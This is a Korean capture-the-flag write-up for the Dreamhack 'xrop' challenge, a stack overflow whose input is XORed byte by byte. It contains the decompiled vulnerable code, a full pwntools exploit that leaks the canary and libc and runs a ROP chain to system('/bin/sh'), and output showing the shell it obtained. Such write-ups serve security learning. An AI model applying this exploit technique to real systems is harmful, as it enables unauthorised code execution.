[dreamhack] xrop writeup

1. 문제

thumbnail
xrop

General ROP, but input is xored?

https://dreamhack.io/wargame/challenges/1749

2. 풀이


int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+8h] [rbp-28h]
  int v5; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  do
  {
    printf("Input: ");
    v5 = read(0, buf, 0x100uLL);
    for ( i = 1; i < v5; ++i )
      buf[i - 1] ^= buf[i];
    printf("You entered: %s\n", buf);
  }
  while ( strtok(buf, "exit") );
  return 0;
}

이름에서도 알 수 있지만 bof 취약점으로 rop를 하면된다. 그런데 문제는 입력한 내용이 바로 전 바이트로 xor되어 들어가기 때문에 좀 짜증난다…


먼저 canarylibc는 쉽게 leak이 가능하다. 당장 떠올랐던건 \x01\x60을 번갈아가면서 넣으면 \x61이 되어 aaaa형태의 문자열이 들어갈 것이다. 이를 이용해서 canarylibc는 쉽게 얻었다.

그러나 이제 payload를 xor해서 넣어야하기 때문에 그게 문제였고 dec()함수를 짜서 역으로 바꿔준 뒤 넣어야했다.

from pwn import *

p = process("./prob")
p = remote("host8.dreamhack.games", 20657)
libc = ELF("./libc.so.6")

payload = b"\x01\x60" * 12 + b"\x01"    # make "aaaa" string

p.sendafter(b"Input: ", payload)

p.recvuntil(b"\x01")
canary = u64(b"\x00" + p.recv(7))
print(hex(canary))


payload = b"\x01\x60" * 20    # make "aaaa" string

p.sendafter(b"Input: ", payload)
p.recv(53)
__libc_start_main_128 = u64(p.recv(6) + b"\x00" * 2)
libcbase = __libc_start_main_128 - 0x29e40 + 0xb0

print(hex(libcbase))

system = libcbase + libc.symbols["system"]
binsh = libcbase + 0x1d8698
pop_rdi = libcbase + 0x000000000002a3e5
ret = libcbase + 0x0000000000029cd6

def dec(data):
    data = bytearray(data)  # 변경 가능한 형태로 변환
    for i in range(len(data) - 1, 0, -1):  # 역순으로 연산
        data[i - 1] ^= data[i]
    return bytes(data)

payload = b"exit\x00"
payload += b"a" * 19
payload += p64(canary)
payload += b"a" * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

print(payload)

new_pay = dec(payload)

p.sendafter(b"Input: ", new_pay)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/xrop/deploy$ python3 e_xrop.py 
[+] Starting local process './prob': pid 3509504
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/xrop/deploy/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
0xc4a45c5de629f700
0x7e5902a00000
b'exit\x00aaaaaaaaaaaaaaaaaaa\x00\xf7)\xe6]\\\xa4\xc4aaaaaaaa\xd6\x9c\xa2\x02Y~\x00\x00\xe5\xa3\xa2\x02Y~\x00\x00\x98\x86\xbd\x02Y~\x00\x00`\r\xa5\x02Y~\x00\x00'
[*] Switching to interactive mode
You entered: exit
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

해결~